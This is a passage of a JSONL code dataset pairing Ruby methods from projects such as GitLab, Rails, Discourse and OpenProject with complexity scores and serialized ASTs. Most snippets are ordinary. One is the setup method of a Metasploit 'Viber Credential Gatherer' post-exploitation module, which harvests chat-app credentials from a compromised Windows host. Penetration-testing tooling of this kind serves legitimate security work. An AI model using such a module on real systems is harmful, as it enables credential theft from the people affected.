end","complexity_score":48.55,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"after_cooked_post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enabled?\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_scan_post?\",{\"type\":\"lvar\",\"children\":[\"post\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"custom_fields\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"SHOULD_SCAN_POST_CUSTOM_FIELD\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"updated_at\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAX_AGE_TO_SCAN\"]},\"ago\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"last_scan\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiSpamLog\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]}]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_scan\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_scan\"]},\"created_at\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EDIT_DELAY_MINUTES\"]},\"minutes\"]},\"ago\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"delay_minutes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_scan\"]},\"created_at\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EDIT_DELAY_MINUTES\"]},\"minutes\"]}]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]},\"to_i\"]},\"/\",{\"type\":\"int\",\"children\":[60]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue_in\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"delay_minutes\"]},\"minutes\"]},{\"type\":\"sym\",\"children\":[\"ai_spam_scan\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"ai_spam_scan\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]}]}]}]}]}]}","id":"28f4d669-db81-440b-b0c7-3e150d333e48"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/admin/admin_groups_spec.rb","start_line":362,"raw_source":"def expect_selected_visibility(level)\n    selector = \"#group_visibility_level_#{level}[checked=checked]\"\n\n    expect(page).to have_selector(selector, count: 1)\n  end","complexity_score":6.15,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_selected_visibility\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"level\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selector\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#group_visibility_level_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"level\"]}]},{\"type\":\"str\",\"children\":[\"[checked=checked]\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_selector\",{\"type\":\"lvar\",\"children\":[\"selector\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}","id":"144d0821-f80d-430b-8271-9d90656ecf9a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/click_house/record_sync_context.rb","start_line":32,"raw_source":"def last_processed_id=(value)\n      @record_count_in_current_batch += 1\n      @total_record_count += 1\n      @last_processed_id = value\n      @last_record_id = value\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"last_processed_id=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@record_count_in_current_batch\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@total_record_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"ivasgn\",\"children\":[\"@last_processed_id\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@last_record_id\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"d8256b68-e65d-4cec-904a-f48e4cc382f1"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/spec/features/account_activation_spec.rb","start_line":21,"raw_source":"def activate!\n    visit url_for(controller: :account,\n                  action: :activate,\n                  token: token.value,\n                  only_path: true)\n\n    expect(page).to have_current_path account_register_path\n\n    fill_in I18n.t(\"attributes.password\"), with: \"Password1234\"\n    fill_in I18n.t(\"activerecord.attributes.user.password_confirmation\"), with: \"Password1234\"\n\n    click_button I18n.t(:button_create)\n  end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"activate!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"sym\",\"children\":[\"account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"activate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"token\"]},\"value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_current_path\",{\"type\":\"send\",\"children\":[null,\"account_register_path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"attributes.password\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"str\",\"children\":[\"Password1234\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"activerecord.attributes.user.password_confirmation\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"str\",\"children\":[\"Password1234\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"button_create\"]}]}]}]}]}","id":"179bff32-8f1a-4c70-9dc3-3beffe30954f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb","start_line":1577,"raw_source":"def enable_index(table_name, index_name)\n        raise NotImplementedError, \"#{self.class} does not support enabling indexes\"\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enable_index\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"index_name\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" does not support enabling indexes\"]}]}]}]}","id":"04da5410-54cb-4019-b7b8-baae0b303c81"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/finder/rules/test_in_region.rb","start_line":23,"raw_source":"def test_returns_true_if_subregion_matches_grandparent\n    assert_equal(true, @subject.call([:test_sub_sub], @available))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_returns_true_if_subregion_matches_grandparent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"call\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"test_sub_sub\"]}]},{\"type\":\"ivar\",\"children\":[\"@available\"]}]}]}]}","id":"7c3be9ee-6dc6-484f-bea2-cb917c1eaac5"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/identity.rb","start_line":20,"raw_source":"def self.find_for_omniauth(auth)\n    find_or_create_by(uid: auth.uid, provider: auth.provider)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_for_omniauth\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"auth\"]}]},{\"type\":\"send\",\"children\":[null,\"find_or_create_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"uid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provider\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"provider\"]}]}]}]}]}","id":"3609988f-45c8-4781-a241-02122a0aaf86"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/rspec/core/configuration/only_failures_support_spec.rb","start_line":5,"raw_source":"def simulate_persisted_examples(*examples)\n      config.example_status_persistence_file_path = \"examples.txt\"\n      persister = class_double(ExampleStatusPersister).as_stubbed_const\n\n      allow(persister).to receive(:load_from).with(\"examples.txt\").and_return(examples.flatten)\n    end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"simulate_persisted_examples\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"examples\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"example_status_persistence_file_path=\",{\"type\":\"str\",\"children\":[\"examples.txt\"]}]},{\"type\":\"lvasgn\",\"children\":[\"persister\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"class_double\",{\"type\":\"const\",\"children\":[null,\"ExampleStatusPersister\"]}]},\"as_stubbed_const\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"persister\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"load_from\"]}]},\"with\",{\"type\":\"str\",\"children\":[\"examples.txt\"]}]},\"and_return\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"examples\"]},\"flatten\"]}]}]}]}]}","id":"e4992ead-d8fc-4c31-9d54-0f5125a291c4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/yaml_processor.rb","start_line":163,"raw_source":"def stage_index(name)\n        stage = @jobs.dig(name.to_sym, :stage)\n        @stages.index(stage)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stage_index\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stage\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@jobs\"]},\"dig\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]},{\"type\":\"sym\",\"children\":[\"stage\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stages\"]},\"index\",{\"type\":\"lvar\",\"children\":[\"stage\"]}]}]}]}","id":"5748bf71-45a2-464c-8c66-e4d184c104a5"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/support/pages/meetings/show.rb","start_line":211,"raw_source":"def expect_undisclosed_agenda_link(item)\n      expect(page).to have_css(\"#meeting-agenda-item-#{item.id}\",\n                               text: I18n.t(:label_agenda_item_undisclosed_wp, id: item.work_package_id))\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_undisclosed_agenda_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#meeting-agenda-item-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"id\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_agenda_item_undisclosed_wp\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"work_package_id\"]}]}]}]}]}]}]}]}]}","id":"4183efd6-2f67-4203-917b-410eabc051a7"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/app/controllers/doorkeeper/authorizations_controller.rb","start_line":61,"raw_source":"def matching_token?\n      # We don't match tokens on the custom attributes here - we're in the pre-auth here,\n      # so they haven't been supplied yet (there are no custom attributes to match on yet)\n      @matching_token ||= Doorkeeper.config.access_token_model.matching_token_for(\n        pre_auth.client,\n        current_resource_owner,\n        pre_auth.scopes,\n      )\n    end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"matching_token?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@matching_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"config\"]},\"access_token_model\"]},\"matching_token_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pre_auth\"]},\"client\"]},{\"type\":\"send\",\"children\":[null,\"current_resource_owner\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pre_auth\"]},\"scopes\"]}]}]}]}","id":"9cced9b0-744a-49e0-ad6a-2d47b25c4e4c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/viber.rb","start_line":44,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Viber Credential Gatherer',\n        'Description' => %q{\n          This module searches for credentials in Viber desktop application on a Windows host. Viber is a cross-platform voice over IP and instant messaging software application.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Kazuyoshi Maruta',\n          'Daniel Hallsworth',\n          'Barwar Salim M',\n          'Z. Cliffe Schreuders', # http://z.cliffe.schreuders.org\n        ],\n        'Platform' => ['win'],\n        'SessionTypes' => ['meterpreter'],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [],\n          'SideEffects' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),\n        OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),\n        OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),\n        # enumerates the options based on the artifacts that are defined below\n        OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])\n      ]\n    )\n  end","complexity_score":19.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Viber Credential Gatherer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module searches for credentials in Viber desktop application on a Windows host. Viber is a cross-platform voice over IP and instant messaging software application.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Kazuyoshi Maruta\"]},{\"type\":\"str\",\"children\":[\"Daniel Hallsworth\"]},{\"type\":\"str\",\"children\":[\"Barwar Salim M\"]},{\"type\":\"str\",\"children\":[\"Z. Cliffe Schreuders\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptRegexp\"]},\"new\",{\"type\":\"str\",\"children\":[\"REGEX\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Match a regular expression\"]},{\"type\":\"str\",\"children\":[\"^password\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"STORE_LOOT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Store artifacts into loot database\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXTRACT_DATA\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Extract data and stores in a separate file\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"ARTIFACTS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Type of artifacts to collect\"]},{\"type\":\"str\",\"children\":[\"All\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"gatherable_artifacts\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filetypes\"]}]}]},\"uniq\"]},\"unshift\",{\"type\":\"str\",\"children\":[\"All\"]}]}]}]}]}]}]}]}","id":"52b715f0-5372-4473-9868-7fb02d764ae5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/custom_styles_controller_helper.rb","start_line":52,"raw_source":"def validate_font_file_format(name, filename)\n    \"#{name.to_s.humanize} #{I18n.t('admin.custom_styles.fonts.file_is_invalid')}\" unless valid_ttf?(filename)\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_font_file_format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_ttf?\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},null,{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"humanize\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.custom_styles.fonts.file_is_invalid\"]}]}]}]}]}]}","id":"27299c56-7b92-487d-8801-d3895e5b9026"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_mixin.rb","start_line":11,"raw_source":"def setup\n      super\n      Fluent::Test.setup\n      @time = Time.utc(1,2,3,4,5,2010,nil,nil,nil,nil)\n      Timecop.freeze(@time)\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Test\"]},\"setup\"]},{\"type\":\"ivasgn\",\"children\":[\"@time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[2010]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timecop\"]},\"freeze\",{\"type\":\"ivar\",\"children\":[\"@time\"]}]}]}]}","id":"00d08ced-bc06-485f-8671-14de78e920ae"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/helpers/spree/checkout_analytics_helper.rb","start_line":11,"raw_source":"def clean_analytics_session\n      session.delete(:checkout_started)\n      session.delete(:checkout_step_viewed)\n      session.delete(:checkout_step_completed)\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"clean_analytics_session\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"checkout_started\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"checkout_step_viewed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"checkout_step_completed\"]}]}]}]}","id":"b55a10f3-3f52-421d-bcc3-fc44dd8890a6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/knapsack_report.rb","start_line":186,"raw_source":"def example_runtimes(reports)\n        reports\n          .flat_map { |report| JSON.load_file(report, symbolize_names: true) }\n          .each_with_object({}) do |json, runtimes|\n            json[:examples].each do |ex|\n              next if ex[:ignore_runtime_data] || ex[:status] != \"passed\"\n\n              # keep the longest running example\n              runtimes[ex[:id]] = ex[:run_time] unless (runtimes[:id] || 0) > ex[:run_time]\n            end\n          end\n      end","complexity_score":27.6,"ast_json":"{\"type\":\"def\",\"children\":[\"example_runtimes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reports\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reports\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"report\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"load_file\",{\"type\":\"lvar\",\"children\":[\"report\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_names\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"json\"]},{\"type\":\"arg\",\"children\":[\"runtimes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"examples\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ex\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ignore_runtime_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"passed\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\"